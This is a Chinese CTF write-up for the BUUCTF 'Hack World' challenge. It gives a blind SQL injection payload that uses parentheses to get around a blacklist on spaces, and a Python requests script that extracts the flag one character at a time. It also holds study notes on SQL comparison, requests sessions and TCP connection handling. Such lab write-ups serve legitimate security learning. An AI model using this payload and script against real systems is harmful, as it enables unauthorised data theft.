buuctf web刷题 [CISCN2019 华北赛区 Day2 Web1]Hack World
f"(select(ascii(mid(flag,{num},1))={ord(i)})from(flag))"
首先绕过黑名单 ()绕过禁用空格
mid理解 eg:id=(select(ascii(mid(flag,num,1))=102)from(flag))
mid切片从1开始,1也对应第一个,第三个参数是数几个。这里是flag字符串从第一个数1个
ascii是sql语法,转ascii数字
= 这里是比较,是sql语法。
ord是python语法,转ascii数字
import requests
import string
url='http://00f55998-dd43-4d8d-ad1e-40686894a4fd.node5.buuoj.cn:81/index.php'
strings = string.digits + string.ascii_letters + '_-{}'
flag=''
#创建会话对象,复用底层的连接池配置。避免反复创建连接,主机多个端口爆炸,服务器多个连接数爆炸
s = requests.Session()
#猜70位,找完提前终止
for num in range(1,70):
#找完终止位
found_char=False
for i in strings:
payload=f"(select(ascii(mid(flag,{num},1))={ord(i)})from(flag))"
post_data = {"id": payload}
#发送请求出现问题
try:
res=s.post(url=url,data=post_data,timeout=1)
except Exception as e:
print(f"[-] 请求错误: {e}")
continue
#找到了当前位的字符,跳出内层循环
if 'Hello' in res.text:
flag+=i
print(f"第 {num} 位: {i} -> 当前 flag: {flag}")
found_char = True
break
#如果没有找到当前位的字符,跳出外层循环,提前终止
if found_char==False:
print("flag找完")
print(flag)
break
sql语句=的含义
| SET | 赋值 (修改数据) | UPDATE users SET age=20 ... |
把 age 的值 改成 20 |
|---|---|---|---|
| WHERE / SELECT | 比较 (筛选/判断) | SELECT * FROM users WHERE age=20 |
找出 age 等于 20 的人 |
sql语句只有=,没有==,==会报错。
但=有两种意思,一个是比较,一个是赋值。在set里是赋值,select和where 后都是比较。
requests的语法post_data =
你的代码逻辑是标准的 Python requests 用法,发送给服务器的数据就是标准的 id=xxx 格式,不需要修改。
字典写法 ({"id": payload})
requests 库非常智能,它会自动帮你做两件事:
-
拼接字符串:它会把字典里的键值对用
&连接,变成id=你的payload这种格式。 -
设置请求头:它会自动把
Content-Type设置为application/x-www-form-urlencoded(这是表单提交的标准格式)。 -
自动编码:如果你的
payload里包含特殊字符(比如空格、&、=等),字典写法通常能更安全地处理编码问题,防止格式错乱。
requests.post(url, data=f"id={payload}")
requests.post(url, data={"id": payload})一样的
关于发多个请求,requests报错
谁主动断开,谁进入 TIME_WAIT,谁端口就要被锁住60秒。
requests 库底层使用 urllib3 来管理连接。requests 在幕后依然会为每个域名维护一个默认的连接池(默认最大连接数通常是 10)。
主动断开后,连接池就会释放该连接,允许下一个连接。如果等待时间过长或并发过高,就会抛出 urllib3.exceptions.ConnectionPoolError 或类似的“连接池已满”错误
总结:
Connection: close告诉服务器响应请求后断开,由于是服务端主动断开,服务端处在TIME_WAIT 状态(占用 60 秒),服务端可能存在端口爆满。客户端不存在端口爆满的风险,也不存在连接池超上限10的报错。
但是每次重新建立连接,需要多花时间。
requests.Session()
客户端不存在端口爆满的风险,也不存在连接池超上限10的报错,不需要重新建立连接,直接复用连接。
timeout =1
发生请求建立连接阶段,如果客户端请求连接超过1秒没回应,就会终止,是RST直接断开,而非挥手fin断开。另外会报错,请求超时。
这两个参数都没有,以及没创建session
默认建立连接后,服务器(如 Nginx、Apache)发现连接没断,它启动一个计时器(Keep-Alive 计时器),开始空闲等待你的下一次请求,默认通常是 5秒、15秒 或 75秒,超过时间,服务器就会主动发送 FIN 包(挥手)来断开连接。默认长连接,一下子发10个请求,requests维持的连接池饱满,requests报错。

浙公网安备 33010602011771号